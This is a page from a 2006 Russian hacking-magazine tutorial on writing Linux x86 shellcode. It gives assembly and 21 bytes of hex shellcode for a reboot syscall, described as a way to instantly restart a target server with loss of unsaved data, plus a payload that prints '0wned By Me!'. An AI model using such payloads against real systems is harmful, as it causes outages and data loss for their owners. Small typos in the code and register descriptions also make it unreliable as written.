Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #87, МАРТ 2006 г.

Черная магия для начинающих

0xbeerdrinkz & l1s

Хакер, номер #087, стр. 087-148-3


[level up: reboot]

Сейчас мы с тобой напишем магический ребут, который в мгновенье ока перезапустит твою ось с потерей всех несохраненных данных. Сейчас объясню, почему с потерей данных.

Во-первых, ты же не собираешься сохранять какие-то неважные темповые данные на серваке, который является твоей целью ;). Во-вторых, чтобы данные сохранились, нужно добавить пару лишних вызовов(syn() syn()), что скажется на размере шелл-кода. Чтобы просто перезапустить тачку, существует специальный и универсальный вызов reboot. В зависимости от переданных ему параметров он использует тот или иной метод перезагрузки. Например, чтобы просто и без лишних вопросов и восклицаний перезапустить машину в регистры EBX, ECX и EDX, надо положить такие параметры: первое магическое слово, второе магическое слово, специальный флаг. Я не шучу, на самом деле в мануале написано про два магических слова, которые должны присутствовать в первых двух параметрах. А в третьем должен лежать специальных флаг типа integer, который по существу и определяет, как будет действовать наш reboot: просто перезагружаться, ничего не делать и выводить сообщение типа system halted или же вырубать комп.

Случай первый:

xor eax,eax

mov ebx,xfee1dead

mov ecx,672274793

mov edx,0x1234567

mov al,88

int 80h

Сначала идет стандартная очистка регистра EAX, затем в регистры EBX и ECX кладутся магические числа, а в EBX – специальный флаг.

Вот такой простой код и вот такой шелл-код:

"\x31\xc0\xbb\xad\xde\xe1\xfe"

"\xb9\x69\x19\x12\x28\xba\x67"

"\x45\x23\x01\xb0\x58\xcd\x80"

Размером он хоть и невелик (21 байт), но зато какая убойная сила! Если ты посмотришь в man, то увидишь, какие еще значения флага можно передавать этому вызову. Если возникнет желание попрактиковаться, то можешь написать, к примеру, выключалку для компа.

[0wned By Me!]

Не будем уподобляться начинающим программистам в написании hello world, напишем лучше 0wned By Me! :). Для начала нам необходимо узнать, какой системный вызов выводит строку. Заглянув в unistd.h, можно легко встретить функцию write, наверняка это то, что нам нужно.

Запомнили ее номер - 4, теперь заглянем в man 2 write и увидим, что функция требует три параметра: дескриптор вывода, указатель на данные и размер данных, то есть EBX, ECX и EDX. В EAX же у нас должен лежать номер вызова – 4.

Если все это переварить и использовать в своей программе, то может получиться следующий код:

cdq

push edx

pop eax

push eax

pop ebx

push ' Me!'

push 'd By'

push '0wne'

mov ecx,esp

inc bl

mov al,4

mov dl,12

int 80h

xor eax,eax

inc al

int 80h

Первой командой мы обнуляем EDX, а последующими четырьмя - EAX и EBX. Далее кладем строку в стек (задом наперед по 4 байта) и все это заталкиваем в ECX (второй параметр write). Увеличиваем BL на единицу, так как это первый параметр (1 = вывести на стандартный поток вывода), в AL кладем номер системного вызова write, в DL - длину нашей строки и даем ядру контроль, а потом exit. Если его не будет, то код выполнится, но появится сообщение вроде Segmentation Fault, что нежелательно.

Назад на стр. 087-148-2  Содержание  Вперед на стр. 087-148-4